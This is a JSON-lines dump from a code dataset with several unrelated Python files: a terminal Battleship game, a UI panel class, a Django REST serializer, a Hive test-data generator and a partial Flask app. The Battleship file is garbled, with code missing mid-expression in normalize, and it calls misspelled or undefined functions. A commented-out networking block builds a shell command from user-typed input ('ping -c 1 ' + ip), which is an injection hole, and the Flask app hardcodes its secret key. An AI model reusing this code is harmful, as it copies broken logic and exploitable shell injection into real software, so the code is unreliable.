self.is_destroyed(list([cords[0],cords[1]])):\n\t\t\t\t\t\tnear_hits=check_nearflap(self.board.hits,list([cords[0],cords[1]]),\"X\")\n\t\t\t\t\t\tfor type in self.number_of_alive_ship:\n\t\t\t\t\t\t\tif self.number_of_alive_ship[type]:\n\t\t\t\t\t\t\t\tif len(near_hits):\n\t\t\t\t\t\t\t\t\tfor flap in near_hits:\n\t\t\t\t\t\t\t\t\t\tx=2*cords[0]-near_hits[flap[0]][0]\n\t\t\t\t\t\t\t\t\t\ty=2*cords[1]-near_hits[flap[1]][1]\n\t\t\t\t\t\t\t\t\t\thit_chance[x-2][y-2]+=self.find_type((x,y),type)*self.number_of_alive_ship[type]\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tfor a,b in [[cords[0]-1,cords[1]],[cords[0],cords[1]-1],[cords[0],cords[1]+1],[cords[0]+1,cords[1]]]:\n\t\t\t\t\t\t\t\t\t\tif a>=2 and a<12 and b>=2 and b<12:\n\t\t\t\t\t\t\t\t\t\t\thit_chance[a-2][b-2]+=self.find_type((a,b),type)*self.number_of_alive_ship[type]\n\t\tif (hit_chance!=0).any(): return hit_chance\n\t\treturn 0\n\tdef normalize(self,chances):\n\t\tmin=chances[0][0]\n\t\tmax=min\n\t\tfor searches_cords in numpy.ndenumerate(chances):\n\t\t\ti,j=searches_cords[0]\n\t\t\tif min>chances[i][j]: min=chances[i][j]\n\t\t\tif max=2 and x<=12 and y>=2 and y<=12:\n\t\t\t\t\t\tif self.hits[x][y]==\" \" or self.hits[x][y]==\"X\": z+=1\n\t\t\t\tif z==type: ret+=1\n\t\treturn ret\n\tdef clear_chances(self,chances):\n\t\tfor i,j in numpy.ndindex(10,10):\n\t\t\t\tif self.hits[i+2][j+2]!=\" \": chances[i][j]=0\n\tdef find_max(self,chances):\n\t\tto_sort=[]\n\t\t[to_sort.append((chances[i][j],i,j)) for i,j in numpy.ndindex(10,10)]\n\t\treturn to_sort.sort(key=lambda item: item[0], reverse=True)\n\tdef check_ships(self):\n\t\tfor i,j in [(a+2,b+2) for a,b in numpy.ndindex(10,10)]:\n\t\t\t\tif self.hits[i][j]==\"X\":\n\t\t\t\t\tif self.is_destroyed(list([i,j]))==0:\n\t\t\t\t\t\tnear_hits=check_near_flap(self.board.hits,list([i,j]),\"X\")\n\t\t\t\t\t\tif not len(near_hits) and not len(check_near_flap(self.board.hits,list([i,j]),\" \")):\n\t\t\t\t\t\t\tself.destroyed.append([[i,j]])\n\t\t\t\t\t\tif len(near_hits):\n\t\t\t\t\t\t\tif len(near_hits)==1:\n\t\t\t\t\t\t\t\tcords=[[i,j],[near_hits[0][0],near_hits[0][1]]]\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tcords=[[near_hits[0][0],near_hits[0][1]],[near_hits[1][0],near_hits[1][1]]]\n\t\t\t\t\t\t\tship,ends,plane=self.check_next(list(cords),numpy.array([0,0]),-1)\n\t\t\t\t\t\t\tif numpy.all(ends):\n\t\t\t\t\t\t\t\tfor m in range(1,ship[1][1-plane]-ship[0][1-plane]):\n\t\t\t\t\t\t\t\t\tship.insert(-1,[ship[0][0]+m*plane,ship[0][1]+m*(1-plane)])\n\t\t\t\t\t\t\t\tself.destroyed.append(ship)\n\t\t\t\t\t\t\t\treport(self,self.destroyed,\"destroyed\")\n\tdef is_destroyed(self,cords):\n\t\tfor b in self.destroyed.itervalues():\n\t\t\tif b[1]!=cords[1] and b[0]!=cords[0]: break\n\t\t\tif b==cords:\n\t\t\t\treturn 1\n\t\treturn 0\n\tdef check_next(self,flaps,ends,plane):\n\t\texit=numpy.array([0,0])\n\t\tif plane==-1:\n\t\t\tfor i in range(2):\n\t\t\t\tif flaps[1][i]==flaps[0][i]: plane=i\n\t\tif flaps[0][1-plane]>flaps[1][1-plane]:\n\t\t\tflaps.reverse()\n\t\tfor j,k in zip(range(2),(-1,1)):\n\t\t\tif not ends[j]:\n\t\t\t\tx=flaps[j][0]+k*plane\n\t\t\t\ty=flaps[j][1]+k*(1-plane)\n\t\t\t\tif x<2 or x>11 or y<2 or y>11:\n\t\t\t\t\tends[j]=1\n\t\t\t\telif self.hits[x][y]==\"X\":\n\t\t\t\t\tflaps[j]=[x,y]\n\t\t\t\telif self.hits[x][y]==\" \":\n\t\t\t\t\texit[j]=1\n\t\t\t\telse:\n\t\t\t\t\tends[j]=1\n\t\tif (ends==1).all() or (exit==1).all() or ((exit==1).any() and (ends==1).any()):\n\t\t\t\treturn (flaps,ends,plane)\n\t\treturn self.checknext(flaps,ends,plane)\n\nclass hits():\n\tdef __init__(self,ships):\n\t\tself.ships=ships\n\t\tself.flap=[[' ',' ','A','B','C','D','E','F','G','H','I','J',' '],\n\t\t\t\t\t[' ','+','-','-','-','-','-','-','-','-','-','-','+'],\n\t\t\t\t\t['1','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['2','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['3','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['4','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['5','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['6','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['7','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['8','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['9','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['0','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t[' ','+','-','-','-','-','-','-','-','-','-','-','+']]\n\tdef show_hits(self):\n\t\tfor a in range(12):\n\t\t\tfor b in range(12):\n\t\t\t\tprint(self.flap[a][b], end=\" \")\n\t\t\tprint(\"\\n\")\n\tdef hit(self,cords_to_hit):\n\t\tx,y=cords_to_hit\n\t\tif self.ships.flap[x][y]==\"+\":\n\t\t\tself.ships.flap[x][y]=\"X\"\n\t\t\tself.flap[x][y]=\"X\"\n\t\t\treturn 1\n\t\telif self.ships.flap[x][y]==\"o\" or self.ships.flap[x][y]==\"X\":\n\t\t\treturn 1\n\t\telse:\n\t\t\tself.ships.flap[x][y]=\"o\"\n\t\t\tself.flap[x][y]=\"o\"\n\t\t\treturn 0\n\tdef check_destructions(self):\n\t\tcords=self.ships.cords_of_ships\n\t\tprint(cords)\n\t\tinput()\n\t\tfor ship_type in cords:\n\t\t\tfor ship in ship_type:\n\t\t\t\tx=0\n\t\t\t\tfor flap in ship:\n\t\t\t\t\tif self.ships.flap[flap[0]][flap[1]]==\"X\": x+=1\n\t\t\t\tif x==len(ship):\n\t\t\t\t\tfor flap_to_check in range(len(cords[ship_type][ship])):\n\t\t\t\t\t\tcords_to_fill=check_near_flap(self.ships,list([cords[ship_type][ship][flap_to_check][0],cords[ship_type][ship][flap_to_check][1]]),\" \")\n\t\t\t\t\t\tfor a,b in cords_to_fill:\n\t\t\t\t\t\t\tself.ships.flap[a][b]=\"o\"\n\t\t\t\t\t\t\tself.flap[a][b]=\"o\"\n\t\t\t\t\tdel cords[ship_type][ship]\n\t\t\t\t\tself.check_destructions()\n\t\t\t\t\treturn None\n\nclass ships():\n\tdef __init__(self,board):\n\t\tself.cords_of_ships={1:[],2:[],3:[],4:[]}\n\t\tself.number_by_type={1:4,2:3,3:2,4:1}\n\t\tself.flap=[[' ',' ','A','B','C','D','E','F','G','H','I','J',' '],\n\t\t\t\t\t[' ','+','-','-','-','-','-','-','-','-','-','-','+'],\n\t\t\t\t\t['1','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['2','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['3','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['4','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['5','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['6','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['7','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['8','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['9','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t['0','|',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','|'],\n\t\t\t\t\t[' ','+','-','-','-','-','-','-','-','-','-','-','+']]\n\t\tself.board=board\n\tdef show_ships(self):\n\t\tfor a,b in numpy.ndindex(12,12):\n\t\t\tprint(self.flap[a][b], end=\" \")\n\t\t\tif b==0: print(\"\\n\")\n\tdef number_of_ships(self):\n\t\tnumber=0\n\t\tfor i in range(1,len(self.cords_of_ships)+1):\n\t\t\tnumber+=len(self.cords_of_ships[i])\n\t\treturn number\n\tdef put_ship(self,cords_to_put):\n\t\tif self.flap[cords_to_put[0][0]][cords_to_put[0][1]]==\"+\": return 0\n\t\tfor a,b in cords_to_put:\n\t\t\tif len(check_near_flap(self,list([a,b]),\"+\"))>0: return 0\n\t\tif cords_to_put[0]==cords_to_put[1]:\n\t\t\tself.number_by_type[1]-=1\n\t\t\tself.flap[a][b]=\"+\"\n\t\t\tself.cords_of_ships[1].append([[cords_to_put[0][0],cords_to_put[0][1]]])\n\t\telse:\n\t\t\tfor a,b in cords_to_put:\n\t\t\t\tself.flap[a][b]=\"+\"\n\t\t\tself.cords_of_ships[len(cords_to_put)].append(cords_to_put)\n\t\t\tself.number_by_type[len(cords_to_put)]-=1\n\tdef undo_ship(self,cords_to_undo):\n\t\tif self.flap[cords_to_undo[0]][cords_to_undo[1]]==\"+\":\n\t\t\tfor ship_type in range(1,len(self.cords_of_ships)+1):\n\t\t\t\tfor ship in range(len(self.cords_of_ships[ship_type])):\n\t\t\t\t\tfor flap in range(len(self.cords_of_ships[ship_type][ship])):\n\t\t\t\t\t\tif self.cords_of_ships[ship_type][ship][flap][0]==cords_to_undo[0] and self.cords_of_ships[ship_type][ship][flap][1]==cords_to_undo[1]:\n\t\t\t\t\t\t\tfor flap_to_clear in range(len(self.cords_of_ships[ship_type][ship])):\n\t\t\t\t\t\t\t\tself.flap[self.cords_of_ships[ship_type][ship][flap_to_clear][0]][self.cords_of_ships[ship_type][ship][flap_to_clear][1]]=\" \"\n\t\t\t\t\t\t\tship_lenght=len(self.cords_of_ships[ship_type][ship])\n\t\t\t\t\t\t\tdel self.cords_of_ships[ship_type][ship]\n\t\t\t\t\t\t\treturn ship_lenght\n\t\treturn 0\n\nclass board():\n\tdef __init__(self,player_name):\n\t\tself.name=player_name\n\t\tself.ships=ships(self)\n\t\tif self.name[:3]==\"Bot\": self.auto_ship_set()\n\t\telse: self.ships_set_menu()\n\tdef turn(self):\n\t\tos.system(\"clear\")\n\t\tprint(\"Turn {}\\n\".format(self.name))\n\t\tif self.hit_menu()!=1: time.sleep(2)\n\t\tos.system(\"clear\")\n\tdef enemy(self,enemy):\n\t\tself.enemy=enemy\n\t\tself.hits=hits(enemy.ships)\n\tdef ships_set_menu(self):\n\t\tx=0\n\t\twhile x!='1' and x!='2':\n\t\t\tos.system(\"clear\")\n\t\t\tx=input(\"Your ships will be set...\\n 1.auto\\n 2.by you\\n>\")\n\t\t\tos.system(\"clear\")\n\t\tif x=='1':\n\t\t\tself.auto_ship_set()\n\t\t\tself.user_ship_set()\n\t\telif x=='2':\n\t\t\tself.user_ship_set()\n\tdef auto_ship_set(self):\n\t\tcounter_of_repeats=0\n\t\twhile self.ships.number_of_ships()-10<0:\n\t\t\tcords_of_ship_flaps=[]\n\t\t\tfor a in range(len(self.ships.number_by_type)):\n\t\t\t\tif self.ships.number_by_type[4-a]>0:\n\t\t\t\t\ttype_of_ship=4-a\n\t\t\t\t\tbreak\n\t\t\tx=int(random.random()*9+0.5)+2\n\t\t\ty=int(random.random()*9+0.5)+2\n\t\t\tsurface=int(random.random()+0.5)\n\t\t\tif (surface==0 and x+type_of_ship-1<=10) or (surface==1 and y+type_of_ship-1<=10):\n\t\t\t\tfor i in range(2):\n\t\t\t\t\tcords_of_ship_flaps.append([x+(type_of_ship-1)*i*(1-surface),y+(type_of_ship-1)*i*surface])\n\t\t\t\tself.ships.put_ship(list(self.fill_cords(cords_of_ship_flaps)))\n\t\t\tcounter_of_repeats+=1\n\t\t\tif counter_of_repeats>1000:\n\t\t\t\tcounter_of_repeats=0\n\t\t\t\tself.ships=ships(self)\n\tdef user_ship_set(self):\n\t\tos.system(\"clear\")\n\t\tself.ships.show_ships()\n\t\tif self.ships.number_of_ships()-10<0:\n\t\t\tx=input(\"\\n 1. Put ship\\n 2. Undo put \\n>\")\n\t\telse:\n\t\t\tx=input(\"\\n 1. Accept board\\n 2. Undo put \\n>\")\n\t\t\tif x=='1':\n\t\t\t\treturn None\n\t\tif x=='1' or x=='2':self.ship_menu(x)\n\t\tself.user_ship_set()\n\t\tos.system(\"clear\")\n\tdef ship_menu(self,option):\n\t\tos.system(\"clear\")\n\t\tself.ships.show_ships()\n\t\tif option=='1':\n\t\t\tself.ships.put_ship(list(self.fill_cords([get_cords(),get_cords()])))\n\t\telif option=='2':\n\t\t\tundo_result=self.ships.undo_ship(list(get_cords()))\n\t\t\tif undo_result!=0: self.ships.number_by_type[undo_result]+=1\n\tdef hit_menu(self):\n\t\tself.hits.show_hits()\n\t\tx,y=get_cords()\n\t\tif self.hits.flap[x][y]!=\" \":\n\t\t\treturn self.hit_menu()\n\t\tif self.hits.hit(list([x,y]))==1:\n\t\t\tself.hits.check_destructions()\n\t\t\tif win(list([self.enemy]))!=None:\n\t\t\t\treturn 1\n\t\t\tos.system(\"clear\")\n\t\t\tprint(\"Hit- one turn plus\\n\")\n\t\t\treturn self.hit_menu()\n\t\tos.system(\"clear\")\n\t\tprint(\"Your hits\\n\")\n\t\tself.hits.show_hits()\n\tdef fill_cords(self,cords_to_fill):\n\t\tfor dimension in [0,1]:\n\t\t\tif cords_to_fill[0][dimension]==cords_to_fill[1][dimension]:\n\t\t\t\tif cords_to_fill[1][1-dimension]-cords_to_fill[0][1-dimension]>=0: plus=1\n\t\t\t\telse: plus=-1\n\t\t\t\tfor a in range(int(math.fabs(cords_to_fill[1][1-dimension]-cords_to_fill[0][1-dimension])))[1:]:\n\t\t\t\t\tcords_to_fill.insert(-1,[cords_to_fill[0][0]+(a*plus*dimension),cords_to_fill[0][1]+(a*plus*(1-dimension))])\n\t\treturn cords_to_fill\n\nclass local_game():\n\tdef __init__(self):\n\t\tself.choose_play()\n\tdef set_enemies(self,players):\n\t\t[players[i].enemy(players[1-i]) for i in range(2)]\n\t\treturn players\t\n\tdef play(self,players):\n\t\tplayers[0].turn()\n\t\tif self.win(players)==None: return self.play(list(reversed(players)))\n\tdef win(self,players):\n\t\tif len(players)==1 and players[0].ships.number_of_ships()==0: return 0\n\t\telif len(players)==2: \n\t\t\tfor i in range(2):\n\t\t\t\tif players[i].ships.number_of_ships()==0:\n\t\t\t\t\tprint(\"{} is the winner!\".format(players[i].name))\n\t\t\t\t\tinput()\n\t\t\t\t\tos.system(\"clear\")\n\t\t\t\t\treturn 1\n\t\t\tos.system(\"clear\")\t\n\tdef choose_play(self):\n\t\tos.system(\"clear\")\n\t\tprint(\"Welcome\")\n\t\twhile 1:\n\t\t\tx=input(\" Choose the mode:\\n 1.PvP\\n 2.PvE (bot)\\n 3.EvE (bot vs bot)\\n 0.Exit\\n>\")\n\t\t\tos.system(\"clear\")\n\t\t\tif x=='0': break\n\t\t\telif x=='1': self.play(list(self.set_enemies([board(choose_name(\"Player one\")),board(choose_name(\"Player two\"))])))\n\t\t\telif x=='2': self.play(list(self.set_enemies([board(choose_name(\"Player\")),bot(board(\"Bot\"))])))\n\t\t\telif x=='3': self.play(list(self.set_enemies([bot(board(\"Bot one\")),bot(board(\"Bot two\"))])))\n\t\t\telse: self.choose_play()\n\"\"\"\t\t\nclass online_game():\n\tdef __init__(self):\n\t\tself.opponent=None\n\t\tself.server_ip=None\n\t\tself.outgoing_sock=None\n\t\tself.incoming_sock=None\n\tdef send_data(self,data):\n\t\tself.opponent.send(data)\n\tdef get_data(self):\n\t\treturn self.outgoing_sock.recv(1024)\n\tdef get_ip(self):\n\t\tos.system(\"clear\")\n\t\tip=input(\"Give your opponent ip:\")\n\t\tif os.system(\"ping -c 1 \" + ip):\n\t\t\tget_ip()\n\t\telse:\n\t\t\tself.server_ip=ip\n\tdef connect(self):\n\t\tself.outgoing_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\tself.outgoing_sock.connect((server_ip, 8888))\n\tdef close_connection(self):\n\t\tself.outgoing_sock.close()\n\tdef start_hosting(self):\n\t\tself.incoming_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\tself.incoming_sock.bind(('localhost', 8888))\n\t\tself.incoming_sock.listen(2)\n\t\tself.accept_connetion()\n\tdef accept_connetion(self):\n\t\tself.opponent,self.server_ip=self.incoming_sock.accept()\n\tdef end_hosting(self):\n\t\tself.incoming_sock.close()\n\tdef create_game(self):\n\t\tself.start_hosting()\n\t\tself.accept_connetion()\n\t\tself.connect()\n\tdef join_to_game(self):\n\t\tself.get_ip()\n\t\tself.connect()\n\t\tself.start_hosting()\n\t\tself.accept_connetion()\n\tdef game_menu(self):\n\t\tmode=input(\" 1.Connect with opponent\\n 2.Create room\\n 0.Exit\\n>\")\n\t\tif mode='0':\n\t\t\tpass\n\t\telif mode='1':\n\t\t\tself.join_to_game()\n\t\telif mode='2':\n\t\t\tself.create_game()\n\t\telse:\n\t\t\tself.game_menu()\"\"\"\n\t\t\ndef report(file,to_report,name):\n\tif file.report:\n\t\tfile.report.write(\"{}: {}\\n\".format(name,to_report))\n\treturn to_report\ndef get_cords():\n\ttry:\n\t\ti=input(\">\")\n\t\tif len(i)!=2:\n\t\t\treturn get_cords()\n\t\ty,x=ord(i[:1]),int(i[1:])\n\texcept ValueError:\n\t\treturn get_cords()\n\texcept TypeError:\n\t\treturn get_cords()\n\tif x==0:\n\t\tx=10\n\tif y>=49 and y<=57:\n\t\ty-=48\n\telif y==48:\n\t\ty=10\n\telif y>=97 and y<=106:\n\t\ty-=96\n\telif y>=65 and y<=74:\n\t\ty-=64\n\tif x>=1 and x<=10 and y>=1 and y<=10:\n\t\tx+=1\n\t\ty+=1\n\t\treturn (x,y)\ndef check_near_flap(board,cords,char):\n\tx,y=cords\n\tsearches_flaps=[]\n\tnear_flaps=[[x-1,y-1],[x-1,y],[x-1,y+1],[x,y-1],[x,y+1],[x+1,y-1],[x+1,y],[x+1,y+1]]\n\tfor a,b in near_flaps:\n\t\tif board.flap[a][b]==char and a>1 and a<12 and b>1 and b<12:\n\t\t\tsearches_flaps.append([a,b])\n\treturn searches_flaps\ndef choose_name(name):\n\tos.system(\"clear\")\n\tx=input(\"{}, do you want change your nick?\\n 1.yes\\n 2.no\\n>\".format(name))\n\tos.system(\"clear\")\n\tif x=='1':\n\t\treturn input(\"Nick:\")\n\telif x=='2':\n\t\treturn name\n\telse:\n\t\tchoose_name(name)\n\nlocal_game() ","sub_path":"shi.py","file_name":"shi.py","file_ext":"py","file_size_in_byte":16489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"302112361","text":"from _deprecated.elements.Panel import *\n\n\nclass HeaderPanel(Panel):\n # left-right and top-bottom\n __header_margins = Vector2(30, 20)\n\n panel_style = Styles.gray_panel\n header_style = Style(Colors.flat_pink, Colors.white, Colors.transparent, 0, 0)\n\n def __init__(self, position: Vector2, size: Vector2, header_text: str):\n super().__init__(position, size)\n\n self.header_size = Vector2(size.x, 23)\n\n self.header_style = self.header_style\n self.header_text = header_text\n self.text = Font.create_text(self.header_text, self.font_preferences, 20,\n self.header_style.text_color.get_no_alpha())\n\n self.midpoint = size.x / 2\n\n def draw(self, starting_point: Vector2 = None):\n if self.window is not None:\n # Draw panel background\n panel_position = self.position + Vector2(0, self.header_size.y * 2)\n panel_content = Zone(panel_position, self.size)\n Drawer.draw_rect(panel_content, self.panel_style.background_color, self.window)\n # Draw all content elements\n for element in self.elements:\n element.window = self.window\n element.draw()\n # Draw panel header\n header_zone = Zone(self.position, self.header_size + Vector2(0, self.header_size.y))\n Drawer.draw_rect(header_zone, self.header_style.background_color, self.window)\n # Write panel header title\n text_position = self.position + Vector2(int(3 * (self.__header_margins.x / 4)),\n int(3 * (self.__header_margins.y / 4)))\n Drawer.draw_text(text_position, self.text, self.window)\n self.printer.print_once(\n self.id + \" content zone is \" + panel_content.to_string() + \". The header zone is \" +\n header_zone.to_string() + \". The text is drawn on \" + text_position.to_string())\n","sub_path":"_deprecated/elements/HeaderPanel.py","file_name":"HeaderPanel.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"175084907","text":"from rest_framework import serializers\nfrom rest_framework import routers, serializers, viewsets\nfrom taggit_serializer.serializers import (TagListSerializerField,\n\t\t\t\t\t\t\t\t\t\t\tTaggitSerializer)\nfrom .models import Question\nfrom .choices import Labels\n\nclass QuestionSerializer(TaggitSerializer, serializers.HyperlinkedModelSerializer):\n\n\ttags = TagListSerializerField()\n\n\tclass Meta:\n\t\tmodel = Question\n\t\tfields = ['url', 'slug', 'question', 'tags', 'labels', 'closed', 'created', 'attachment']\n\nclass QuestionViewSet(viewsets.ModelViewSet):\n\tqueryset \t= Question.objects.all()\n\tserializer_class = QuestionSerializer\n\t\n\tdef question_list():\n\t\tif request.method == 'GET':\n\t\t\tuser \t\t\t= Profile.objects.get(user = request.user)\n\t\t\tinterests \t\t= user.interests.names()\n\t\t\tquestion \t\t= Question.objects.filter(tags__name__in = interests).distinct()\n\t\t\tlabels \t\t\t= dict(Labels)\n\t\t\tfor ques in question:\n\t\t\t\tques.tags \t\t= [tag for tag in ques.tags.names()]\n\t\t\t\tques.labels \t= labels[ques.labels]\n\t\t\tserializer \t\t= QuestionSerializer(question, many=False)\n\t\t\treturn JsonResponse(serializer.data, safe=False)\n\t\t\nrouter = routers.SimpleRouter()\nrouter.register('question', QuestionViewSet, 'question')","sub_path":"smart_UNI_forum/qa/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"270097256","text":"#!/usr/bin/python3\n\n\"\"\"\n@file: test.py\n@brief: hive统计测试脚本\n@author: feihu1996.cn\n@date: 18-08-22\n@version: 1.0\n\"\"\"\n\nimport random\nimport datetime\nimport os\n\nfrom scripts.hive_base import HiveBase\n\n\nclass Test(HiveBase):\n \"\"\"\n hive统计测试\n \"\"\"\n def create_table(self):\n pass\n\n def do_jobs(self):\n pass\n\n\ncurrent_work_dir = os.getcwd()\n\ndef user_info():\n \"\"\"\n 准备测试数据: 用户信息表 \n \"\"\"\n areas = [\"北京\", \"上海\", \"广州\", \"深圳\", \"杭州\", \"成都\", \"西安\"]\n target_dir = os.getcwd()+\"/resource/user_info\"\n os.mkdir(target_dir)\n user_file = open(target_dir+\"/user_info\", \"wb\")\n for i in range(1000000):\n user_id = str(1000000+i)\n age = str(random.randrange(10, 40))\n area = str(random.choice(areas))\n assets = str(random.randrange(1000, 100000000))\n user_file.write((user_id + \",\" + age + \",\" + area + \",\" + assets + \"\\n\").encode(\"utf8\"))\n user_file.close()\n\ndef game_info():\n \"\"\"\n 准备测试数据: 游戏信息表 \n \"\"\"\n games = [\"北京打\", \"上海斗\", \"广州跑\", \"深圳吃\", \"杭州射\", \"成都躺\", \"西安晒\"]\n target_dir = os.getcwd()+\"/resource/game_info\"\n os.mkdir(target_dir)\n game_file = open(target_dir+\"/game_info\", \"wb\")\n for i in range(0, len(games)):\n game_id = str(i)\n game_name = str(games[i])\n game_file.write((game_id + \",\" + game_name + \"\\n\").encode(\"utf8\"))\n game_file.close()\n\ndef game_time():\n \"\"\"\n 准备测试数据：游戏时间表，\n 哪一天哪个用户在哪个游戏中玩了多长时间\n \"\"\"\n game_ids = [0, 1, 2, 3, 4, 5, 6]\n for j in range(10):\n date = (datetime.datetime.now()+datetime.timedelta(days=j)).strftime(\"%Y-%m-%d\")\n target_dir = os.getcwd()+\"/resource/game_time/\"+date\n os.system(\"mkdir -p {target_dir}\".format(target_dir=target_dir))\n time_file = open(target_dir+\"/game_time\", \"wb\")\n for i in range(1000000):\n fdate = str(date)\n user_id = str(1000000+i)\n game_id = str(random.choice(game_ids))\n game_time = str(random.randrange(10, 60))\n time_file.write((date + \",\" + user_id + \",\" + game_id + \",\" + game_time + \"\\n\").encode(\"utf8\"))\n time_file.close()\n\ndef user_fee():\n \"\"\"\n 准备测试数据：用户付费表，\n 哪一天哪个用户在哪个游戏中花了多少钱\n \"\"\"\n game_ids = [0, 1, 2, 3, 4, 5, 6]\n for j in range(10):\n date = (datetime.datetime.now()+datetime.timedelta(days=j)).strftime(\"%Y-%m-%d\")\n target_dir = os.getcwd()+\"/resource/user_fee/\"+date\n os.system(\"mkdir -p {target_dir}\".format(target_dir=target_dir))\n fee_file = open(target_dir+\"/user_fee\", \"wb\")\n for i in range(1000000):\n fdate = str(date)\n user_id = str(1000000+i)\n game_id = str(random.choice(game_ids))\n fee = str(random.randrange(10, 1000))\n fee_file.write((date + \",\" + user_id + \",\" + game_id + \",\" + fee + \"\\n\").encode(\"utf8\"))\n fee_file.close()\n\n# user_info()\n# game_info()\n# game_time()\n# user_fee()\n\n# test =Test()\n# test()\n\n","sub_path":"scripts/hive_jobs/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"350796305","text":"import copy\nimport datetime\nimport functools\nimport json\nimport sys\nfrom collections import OrderedDict, defaultdict\n\nfrom werkzeug import ImmutableMultiDict\nimport flask\nimport flask_login\nfrom sqlalchemy import and_\nfrom sqlalchemy.orm import Session, class_mapper\nfrom wtforms_sqlalchemy.orm import model_form\n\nfrom .automap import (cls_to_name, engine, name_to_cls, name_to_human_readable,\n name_to_id_column, tables_names)\nfrom .login import User, login_manager, login_page\n\n\napp = flask.Flask(__name__)\napp.secret_key = 'secret_123'\n\napp.register_blueprint(login_page)\n\nlogin_manager.init_app(app)\n\n\nDEBUG = False\n\n@app.route('/protected')\n@flask_login.login_required\ndef protected():\n return 'Logged in as: ' + flask_login.current_user.id\n\n\ndef is_hidden(field):\n return \"QuerySelectMultipleField\" in str(type(field))\n\n\n@app.context_processor\ndef fields_modifiers():\n def modifiers(field):\n if \"Date\" in str(type(field)):\n return {\"class\": \"date_picker\"}\n if is_hidden(field):\n return {\"class_\": \"hidden\"}\n if \"QuerySelectField\" in str(type(field)):\n return {\"class\": \"select_type\"}\n return {}\n\n def label_modifiers(field):\n if is_hidden(field):\n return {\"class_\": \"hidden\"}\n return {}\n return {\"modifiers\": modifiers,\n \"label_modifiers\": label_modifiers}\n\n\nSESSIONS = {}\nMODELS = {}\n\ndef generate_select_mappings(session, models):\n select_mappings = defaultdict(dict)\n for model in models.values():\n for cname, ctype in model.classes.items():\n id_col = name_to_id_column[cname]\n hrn = name_to_human_readable[cname]\n select_mappings[cname] = {getattr(x, id_col): hrn(x)\n for x in session.query(ctype).all()}\n return select_mappings\n\n\ndef backup_model(model, form):\n hidden_props_names = [name for name,\n f in form._fields.items() if is_hidden(f)]\n hidden_props = [prop.key for prop in class_mapper(model.__class__).iterate_properties\n if prop.key in hidden_props_names]\n return {p: getattr(model, p) for p in hidden_props}\n\n\ndef populate_objs(session, models, forms):\n request_aid, request_action = flask.request.form[\"button\"].split(\"_\")\n request_aid = int(request_aid)\n\n if request_action == \"delete\":\n if request_aid == 0:\n # user tries to delete the empty model\n return 1\n session.delete(models[request_aid])\n return 0\n\n old_models = {}\n for aid, model in models.items():\n old_models[aid] = backup_model(model, forms[aid])\n\n model = models[request_aid]\n\n if request_action == \"update\":\n\n if request_aid != 0:\n forms[request_aid].populate_obj(model)\n\n # restoring fields which I don't want to be changed\n for k, v in old_models[request_aid].items():\n setattr(model, k, v)\n\n else:\n session.add(model)\n forms[request_aid].populate_obj(model)\n\n return 0\n return 1\n\n\ndef get_or_create_session(view_only=False, end_if_existst=False):\n if view_only:\n return Session(engine, autoflush=False)\n\n if end_if_existst:\n end_session()\n\n\n user = flask_login.current_user.get_id()\n if user not in SESSIONS:\n SESSIONS[user] = Session(engine, autoflush=False)\n SESSIONS[user].execute(\"SET CONSTRAINTS ALL DEFERRED;\")\n \n return SESSIONS[user]\n\n\ndef view_change(cls_, redirect=\"index\", view_only=False, models=None, action=None):\n id_col = name_to_id_column[cls_to_name[cls_]]\n\n session = get_or_create_session(view_only)\n\n models = session.query(cls_).all() if not models else models\n models = {getattr(m, id_col): m for m in models}\n\n models[0] = cls_() # empty model, to let users add new data\n action = action if action else flask.request.method\n\n forms = {}\n MyForm = model_form(cls_, db_session=session)\n for aid, model in models.items():\n forms[aid] = MyForm(flask.request.form, model)\n\n\n if action == \"POST\":\n res = populate_objs(session, models, forms)\n if not res:\n return flask.redirect(redirect)\n else:\n return \"404\"\n else:\n forms = OrderedDict(sorted(list(forms.items()), key=lambda x: str(x)))\n select_mappings = generate_select_mappings(session, models)\n\n print(select_mappings)\n rendered = flask.render_template(\n 